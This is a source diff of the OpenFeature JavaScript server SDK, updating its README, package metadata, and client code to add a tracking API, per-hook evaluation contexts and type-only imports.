* **main:** release core 1.3.0 ([#958](https://github.com/open-feature/js-sdk/issues/958)) ([25086c5](https://github.com/open-feature/js-sdk/commit/25086c5456d81fa040ce95ea1a067543408e3150))
## [1.14.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.13.5...server-sdk-v1.14.0) (2024-05-13)

View File

@ -16,8 +16,8 @@
<img alt="Specification" src="https://img.shields.io/static/v1?label=specification&message=v0.8.0&color=yellow&style=for-the-badge" />
</a>
<!-- x-release-please-start-version -->
<a href="https://github.com/open-feature/js-sdk/releases/tag/server-sdk-v1.14.0">
<img alt="Release" src="https://img.shields.io/static/v1?label=release&message=v1.14.0&color=blue&style=for-the-badge" />
<a href="https://github.com/open-feature/js-sdk/releases/tag/server-sdk-v1.19.0">
<img alt="Release" src="https://img.shields.io/static/v1?label=release&message=v1.19.0&color=blue&style=for-the-badge" />
</a>
<!-- x-release-please-end -->
<br/>
@ -64,7 +64,7 @@ npm install --save @openfeature/server-sdk
yarn add @openfeature/server-sdk @openfeature/core
```
> [!NOTE]
> [!NOTE]
> `@openfeature/core` contains common components used by all OpenFeature JavaScript implementations.
> Every SDK version has a requirement on a single, specific version of this dependency.
> For more information, and similar implications on libraries developed with OpenFeature see [considerations when extending](#considerations).
@ -75,7 +75,11 @@ yarn add @openfeature/server-sdk @openfeature/core
import { OpenFeature } from '@openfeature/server-sdk';
// Register your feature flag provider
await OpenFeature.setProviderAndWait(new YourProviderOfChoice());
try {
await OpenFeature.setProviderAndWait(new YourProviderOfChoice());
} catch (error) {
console.error('Failed to initialize provider:', error);
}
// create a new client
const client = OpenFeature.getClient();
@ -96,15 +100,16 @@ See [here](https://open-feature.github.io/js-sdk/modules/_openfeature_server_sdk
| Status | Features | Description |
| ------ | ------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
| ✅ | [Providers](#providers) | Integrate with a commercial, open source, or in-house feature management tool. |
| ✅ | [Targeting](#targeting) | Contextually-aware flag evaluation using [evaluation context](/docs/reference/concepts/evaluation-context). |
| ✅ | [Hooks](#hooks) | Add functionality to various stages of the flag evaluation life-cycle. |
| ✅ | [Logging](#logging) | Integrate with popular logging packages. |
| ✅ | [Domains](#domains) | Logically bind clients with providers. |
| ✅ | [Eventing](#eventing) | React to state changes in the provider or flag management system. |
| ✅ | [Shutdown](#shutdown) | Gracefully clean up a provider during application shutdown. |
| ✅ | [Transaction Context Propagation](#transaction-context-propagation) | Set a specific [evaluation context](/docs/reference/concepts/evaluation-context) for a transaction (e.g. an HTTP request or a thread) |
| ✅ | [Extending](#extending) | Extend OpenFeature with custom providers and hooks. |
| ✅ | [Providers](#providers) | Integrate with a commercial, open source, or in-house feature management tool. |
| ✅ | [Targeting](#targeting) | Contextually-aware flag evaluation using [evaluation context](https://openfeature.dev/docs/reference/concepts/evaluation-context). |
| ✅ | [Hooks](#hooks) | Add functionality to various stages of the flag evaluation life-cycle. |
| ✅ | [Logging](#logging) | Integrate with popular logging packages. |
| ✅ | [Domains](#domains) | Logically bind clients with providers. |
| ✅ | [Eventing](#eventing) | React to state changes in the provider or flag management system. |
| ✅ | [Transaction Context Propagation](#transaction-context-propagation) | Set a specific [evaluation context](https://openfeature.dev/docs/reference/concepts/evaluation-context) for a transaction (e.g. an HTTP request or a thread) |
| ✅ | [Tracking](#tracking) | Associate user actions with feature flag evaluations, particularly for A/B testing. |
| ✅ | [Shutdown](#shutdown) | Gracefully clean up a provider during application shutdown. |
| ✅ | [Extending](#extending) | Extend OpenFeature with custom providers and hooks. |
<sub>Implemented: ✅ | In-progress: ⚠️ | Not implemented yet: ❌</sub>
@ -289,6 +294,21 @@ app.use((req: Request, res: Response, next: NextFunction) => {
})
```
### Tracking
The tracking API allows you to use OpenFeature abstractions and objects to associate user actions with feature flag evaluations.
This is essential for robust experimentation powered by feature flags.
For example, a flag enhancing the appearance of a UI component might drive user engagement to a new feature; to test this hypothesis, telemetry collected by a [hook](#hooks) or [provider](#providers) can be associated with telemetry reported in the client's `track` function.
```ts
// flag is evaluated
await client.getBooleanValue('new-feature', false);
// new feature is used and track function is called recording the usage
useNewFeature();
client.track('new-feature-used');
```
### Shutdown
The OpenFeature API provides a close function to perform a cleanup of all registered providers.
@ -367,7 +387,7 @@ import type { Hook, HookContext, EvaluationDetails, FlagValue } from "@openfeatu
export class MyHook implements Hook {
after(hookContext: HookContext, evaluationDetails: EvaluationDetails<FlagValue>) {
// code that runs when there's an error during a flag evaluation
// code that runs after flag values are successfully resolved from the provider
}
}
```

View File

@ -1,9 +1,10 @@
import {
import type {
EvaluationContext,
EvaluationDetails,
JsonObject,
JsonValue,
ResolutionDetails,
ResolutionDetails} from '@openfeature/core';
import {
StandardResolutionReasons,
} from '@openfeature/core';
import { defineFeature, loadFeature } from 'jest-cucumber';

View File

@ -1,6 +1,6 @@
{
"name": "@openfeature/server-sdk",
"version": "1.14.0",
"version": "1.19.0",
"description": "OpenFeature SDK for JavaScript",
"main": "./dist/cjs/index.js",
"files": [
@ -16,16 +16,16 @@
"scripts": {
"test": "jest --verbose",
"lint": "eslint ./",
"lint:fix": "eslint ./ --fix",
"clean": "shx rm -rf ./dist",
"build:esm": "esbuild src/index.ts --bundle --external:@openfeature/core --sourcemap --target=es2022 --platform=node --format=esm --outfile=./dist/esm/index.js --analyze",
"build:cjs": "esbuild src/index.ts --bundle --external:@openfeature/core --sourcemap --target=es2022 --platform=node --format=cjs --outfile=./dist/cjs/index.js --analyze",
"build:esm": "esbuild src/index.ts --bundle --external:@openfeature/core --sourcemap --target=es2015 --platform=node --format=esm --outfile=./dist/esm/index.js --analyze",
"build:cjs": "esbuild src/index.ts --bundle --external:@openfeature/core --sourcemap --target=es2015 --platform=node --format=cjs --outfile=./dist/cjs/index.js --analyze",
"build:rollup-types": "rollup -c ../../rollup.config.mjs",
"build": "npm run clean && npm run build:esm && npm run build:cjs && npm run build:rollup-types",
"postbuild": "shx cp ./../../package.esm.json ./dist/esm/package.json",
"current-version": "echo $npm_package_version",
"prepack": "shx cp ./../../LICENSE ./LICENSE",
"publish-if-not-exists": "cp $NPM_CONFIG_USERCONFIG .npmrc && if [ \"$(npm show $npm_package_name@$npm_package_version version)\" = \"$(npm run current-version -s)\" ]; then echo 'already published, skipping'; else npm publish --access public; fi",
"update-core-peer": "npm install --save-peer --save-exact @openfeature/core@$OPENFEATURE_CORE_VERSION"
"publish-if-not-exists": "cp $NPM_CONFIG_USERCONFIG .npmrc && if [ \"$(npm show $npm_package_name@$npm_package_version version)\" = \"$(npm run current-version -s)\" ]; then echo 'already published, skipping'; else npm publish --access public; fi"
},
"repository": {
"type": "git",
@ -45,12 +45,12 @@
},
"homepage": "https://github.com/open-feature/js-sdk#readme",
"engines": {
"node": ">=18"
"node": ">=20"
},
"peerDependencies": {
"@openfeature/core": "1.2.0"
"@openfeature/core": "^1.9.0"
},
"devDependencies": {
"@openfeature/core": "1.2.0"
"@openfeature/core": "^1.9.0"
}
}

View File

@ -1,19 +1,21 @@
import {
import type {
ClientMetadata,
EvaluationLifeCycle,
Eventing,
ManageContext,
ManageLogger,
} from '@openfeature/core';
import { Features } from '../evaluation';
import { ProviderStatus } from '../provider';
import { ProviderEvents } from '../events';
import type { Features } from '../evaluation';
import type { ProviderStatus } from '../provider';
import type { ProviderEvents } from '../events';
import type { Tracking } from '../tracking';
export interface Client
extends EvaluationLifeCycle<Client>,
Features,
ManageContext<Client>,
ManageLogger<Client>,
Tracking,
Eventing<ProviderEvents> {
readonly metadata: ClientMetadata;
/**

View File

@ -1,6 +1,5 @@
import {
import type {
ClientMetadata,
ErrorCode,
EvaluationContext,
EvaluationDetails,
EventHandler,
@ -9,22 +8,29 @@ import {
HookContext,
JsonValue,
Logger,
TrackingEventDetails,
OpenFeatureError,
FlagMetadata,
ResolutionDetails,
EventOptions,
} from '@openfeature/core';
import {
ErrorCode,
ProviderFatalError,
ProviderNotReadyError,
ResolutionDetails,
SafeLogger,
StandardResolutionReasons,
instantiateErrorByErrorCode,
statusMatchesEvent,
MapHookData,
} from '@openfeature/core';
import { FlagEvaluationOptions } from '../../evaluation';
import { ProviderEvents } from '../../events';
import { InternalEventEmitter } from '../../events/internal/internal-event-emitter';
import { Hook } from '../../hooks';
import { OpenFeature } from '../../open-feature';
import { Provider, ProviderStatus } from '../../provider';
import { Client } from './../client';
import type { FlagEvaluationOptions } from '../../evaluation';
import type { ProviderEvents } from '../../events';
import type { InternalEventEmitter } from '../../events/internal/internal-event-emitter';
import type { Hook } from '../../hooks';
import type { Provider } from '../../provider';
import { ProviderStatus } from '../../provider';
import type { Client } from './../client';
type OpenFeatureClientOptions = {
/**
@ -51,6 +57,9 @@ export class OpenFeatureClient implements Client {
private readonly providerAccessor: () => Provider,
private readonly providerStatusAccessor: () => ProviderStatus,
private readonly emitterAccessor: () => InternalEventEmitter,
private readonly apiContextAccessor: () => EvaluationContext,
private readonly apiHooksAccessor: () => Hook[],
private readonly transactionContextAccessor: () => EvaluationContext,
private readonly globalLogger: () => Logger,
private readonly options: OpenFeatureClientOptions,
context: EvaluationContext = {},
@ -72,7 +81,7 @@ export class OpenFeatureClient implements Client {
return this.providerStatusAccessor();
}
addHandler(eventType: ProviderEvents, handler: EventHandler): void {
addHandler(eventType: ProviderEvents, handler: EventHandler, options?: EventOptions): void {
this.emitterAccessor().addHandler(eventType, handler);
const shouldRunNow = statusMatchesEvent(eventType, this._providerStatus);
@ -88,6 +97,12 @@ export class OpenFeatureClient implements Client {
this._logger?.error('Error running event handler:', err);
}
}
if (options?.signal && typeof options.signal.addEventListener === 'function') {
options.signal.addEventListener('abort', () => {
this.removeHandler(eventType, handler);
});
}
}
removeHandler(eventType: ProviderEvents, handler: EventHandler) {
@ -221,6 +236,22 @@ export class OpenFeatureClient implements Client {
return this.evaluate<T>(flagKey, this._provider.resolveObjectEvaluation, defaultValue, 'object', context, options);
}
track(occurrenceKey: string, context: EvaluationContext = {}, occurrenceDetails: TrackingEventDetails = {}): void {
try {
this.shortCircuitIfNotReady();
if (typeof this._provider.track === 'function') {
// freeze the merged context
const frozenContext = Object.freeze(this.mergeContexts(context));
return this._provider.track?.(occurrenceKey, frozenContext, occurrenceDetails);
} else {
this._logger.debug('Provider does not support the track function; will no-op.');
}
} catch (err) {
this._logger.debug('Error recording tracking event.', err);
}
}
private async evaluate<T extends FlagValue>(
flagKey: string,
resolver: (
@ -237,110 +268,114 @@ export class OpenFeatureClient implements Client {
// merge global, client, and evaluation context
const allHooks = [
...OpenFeature.getHooks(),
...this.apiHooksAccessor(),
...this.getHooks(),
...(options.hooks || []),
...(this._provider.hooks || []),
];
const allHooksReversed = [...allHooks].reverse();
// merge global and client contexts
const mergedContext = {
...OpenFeature.getContext(),
...OpenFeature.getTransactionContext(),
...this._context,
...invocationContext,
};
const mergedContext = this.mergeContexts(invocationContext);
// this reference cannot change during the course of evaluation
// it may be used as a key in WeakMaps
const hookContext: Readonly<HookContext> = {
flagKey,
defaultValue,
flagValueType: flagType,
clientMetadata: this.metadata,
providerMetadata: this._provider.metadata,
context: mergedContext,
logger: this._logger,
};
// Create hook context instances for each hook (stable object references for the entire evaluation)
// This ensures hooks can use WeakMaps with hookContext as keys across lifecycle methods
// NOTE: Uses the reversed order to reduce the number of times we have to calculate the index.
const hookContexts = allHooksReversed.map<HookContext>(() =>
Object.freeze({
flagKey,
defaultValue,
flagValueType: flagType,
clientMetadata: this.metadata,
providerMetadata: this._provider.metadata,
context: mergedContext,
logger: this._logger,
hookData: new MapHookData(),
}),
);
let evaluationDetails: EvaluationDetails<T>;
try {
const frozenContext = await this.beforeHooks(allHooks, hookContext, options);
const frozenContext = await this.beforeHooks(allHooks, hookContexts, mergedContext, options);
// short circuit evaluation entirely if provider is in a bad state
if (this.providerStatus === ProviderStatus.NOT_READY) {
throw new ProviderNotReadyError('provider has not yet initialized');
} else if (this.providerStatus === ProviderStatus.FATAL) {
throw new ProviderFatalError('provider is in an irrecoverable error state');
}
this.shortCircuitIfNotReady();
// run the referenced resolver, binding the provider.
const resolution = await resolver.call(this._provider, flagKey, defaultValue, frozenContext, this._logger);
const evaluationDetails = {
const resolutionDetails = {
...resolution,
flagMetadata: Object.freeze(resolution.flagMetadata ?? {}),
flagKey,
};
if (evaluationDetails.errorCode) {
throw instantiateErrorByErrorCode(evaluationDetails.errorCode);
if (resolutionDetails.errorCode) {
const err = instantiateErrorByErrorCode(resolutionDetails.errorCode, resolutionDetails.errorMessage);
await this.errorHooks(allHooksReversed, hookContexts, err, options);
evaluationDetails = this.getErrorEvaluationDetails(flagKey, defaultValue, err, resolutionDetails.flagMetadata);
} else {
await this.afterHooks(allHooksReversed, hookContexts, resolutionDetails, options);
evaluationDetails = resolutionDetails;
}
await this.afterHooks(allHooksReversed, hookContext, evaluationDetails, options);
return evaluationDetails;
} catch (err: unknown) {
const errorMessage: string = (err as Error)?.message;
const errorCode: ErrorCode = (err as OpenFeatureError)?.code || ErrorCode.GENERAL;
await this.errorHooks(allHooksReversed, hookContext, err, options);
return {
errorCode,
errorMessage,
value: defaultValue,
reason: StandardResolutionReasons.ERROR,
flagMetadata: Object.freeze({}),
flagKey,
};
} finally {
await this.finallyHooks(allHooksReversed, hookContext, options);
await this.errorHooks(allHooksReversed, hookContexts, err, options);
evaluationDetails = this.getErrorEvaluationDetails(flagKey, defaultValue, err);
}
await this.finallyHooks(allHooksReversed, hookContexts, evaluationDetails, options);
return evaluationDetails;
}
private async beforeHooks(hooks: Hook[], hookContext: HookContext, options: FlagEvaluationOptions) {
for (const hook of hooks) {
// freeze the hookContext
Object.freeze(hookContext);
private async beforeHooks(
hooks: Hook[],
hookContexts: HookContext[],
mergedContext: EvaluationContext,
options: FlagEvaluationOptions,
) {
let accumulatedContext = mergedContext;
// use Object.assign to avoid modification of frozen hookContext
Object.assign(hookContext.context, {
...hookContext.context,
...(await hook?.before?.(hookContext, Object.freeze(options.hookHints))),
});
for (const [index, hook] of hooks.entries()) {
const hookContextIndex = hooks.length - 1 - index; // reverse index for before hooks
const hookContext = hookContexts[hookContextIndex];
// Update the context on the stable hook context object
Object.assign(hookContext.context, accumulatedContext);
const hookResult = await hook?.before?.(hookContext, Object.freeze(options.hookHints));
if (hookResult) {
accumulatedContext = {
...accumulatedContext,
...hookResult,
};
for (let i = 0; i < hooks.length; i++) {
Object.assign(hookContexts[hookContextIndex].context, accumulatedContext);
}
}
}
// after before hooks, freeze the EvaluationContext.
return Object.freeze(hookContext.context);
return Object.freeze(accumulatedContext);
}
private async afterHooks(
hooks: Hook[],
hookContext: HookContext,
hookContexts: HookContext[],
evaluationDetails: EvaluationDetails<FlagValue>,
options: FlagEvaluationOptions,
) {
// run "after" hooks sequentially
for (const hook of hooks) {
for (const [index, hook] of hooks.entries()) {
const hookContext = hookContexts[index];
await hook?.after?.(hookContext, evaluationDetails, options.hookHints);
}
}
private async errorHooks(hooks: Hook[], hookContext: HookContext, err: unknown, options: FlagEvaluationOptions) {
private async errorHooks(hooks: Hook[], hookContexts: HookContext[], err: unknown, options: FlagEvaluationOptions) {
// run "error" hooks sequentially
for (const hook of hooks) {
for (const [index, hook] of hooks.entries()) {
try {
const hookContext = hookContexts[index];
await hook?.error?.(hookContext, err, options.hookHints);
} catch (err) {
this._logger.error(`Unhandled error during 'error' hook: ${err}`);
@ -352,11 +387,17 @@ export class OpenFeatureClient implements Client {
}
}
private async finallyHooks(hooks: Hook[], hookContext: HookContext, options: FlagEvaluationOptions) {
private async finallyHooks(
hooks: Hook[],
hookContexts: HookContext[],
evaluationDetails: EvaluationDetails<FlagValue>,
options: FlagEvaluationOptions,
) {
// run "finally" hooks sequentially
for (const hook of hooks) {
for (const [index, hook] of hooks.entries()) {
try {
await hook?.finally?.(hookContext, options.hookHints);
const hookContext = hookContexts[index];
await hook?.finally?.(hookContext, evaluationDetails, options.hookHints);
} catch (err) {
this._logger.error(`Unhandled error during 'finally' hook: ${err}`);
if (err instanceof Error) {
@ -378,4 +419,42 @@ export class OpenFeatureClient implements Client {
private get _logger() {
return this._clientLogger || this.globalLogger();
}
private mergeContexts(invocationContext: EvaluationContext) {
// merge global and client contexts
return {
...this.apiContextAccessor(),
...this.transactionContextAccessor(),
...this._context,
...invocationContext,
};
}
private shortCircuitIfNotReady() {
// short circuit evaluation entirely if provider is in a bad state
if (this.providerStatus === ProviderStatus.NOT_READY) {
throw new ProviderNotReadyError('provider has not yet initialized');
} else if (this.providerStatus === ProviderStatus.FATAL) {
throw new ProviderFatalError('provider is in an irrecoverable error state');
}
}
private getErrorEvaluationDetails<T extends FlagValue>(
flagKey: string,
defaultValue: T,
err: unknown,
flagMetadata: FlagMetadata = {},
): EvaluationDetails<T> {
const errorMessage: string = (err as Error)?.message;
const errorCode: ErrorCode = (err as OpenFeatureError)?.code || ErrorCode.GENERAL;
return {
errorCode,
errorMessage,
value: defaultValue,
reason: StandardResolutionReasons.ERROR,
flagMetadata: Object.freeze(flagMetadata),
flagKey,
};
}
}

View File

@ -1,5 +1,5 @@
import { EvaluationContext, EvaluationDetails, HookHints, JsonValue } from '@openfeature/core';
import { Hook } from '../hooks';
import type { EvaluationContext, EvaluationDetails, HookHints, JsonValue } from '@openfeature/core';
import type { Hook } from '../hooks';
export interface FlagEvaluationOptions {
hooks?: Hook[];

View File

@ -1,5 +1,5 @@
import { GenericEventEmitter } from '@openfeature/core';
import { ProviderEvents } from '../events';
import type { ProviderEvents } from '../events';
/**
* The InternalEventEmitter is not exported publicly and should only be used within the SDK. It extends the

View File

@ -1,6 +1,6 @@
import { GenericEventEmitter } from '@openfeature/core';
import { EventEmitter } from 'node:events';
import { ProviderEvents } from './events';
import type { ProviderEvents } from './events';
/**
* The OpenFeatureEventEmitter can be used by provider developers to emit

View File

@ -1,7 +1,8 @@
import { BaseHook, EvaluationContext, FlagValue } from '@openfeature/core';
import type { BaseHook, EvaluationContext, FlagValue } from '@openfeature/core';
export type Hook = BaseHook<
export type Hook<TData = Record<string, unknown>> = BaseHook<
FlagValue,
TData,
Promise<EvaluationContext | void> | EvaluationContext | void,
Promise<void> | void
>;

View File

@ -5,4 +5,5 @@ export * from './open-feature';
export * from './transaction-context';
export * from './events';
export * from './hooks';
export * from './tracking';
export * from '@openfeature/core';

Some files were not shown because too many files have changed in this diff Show More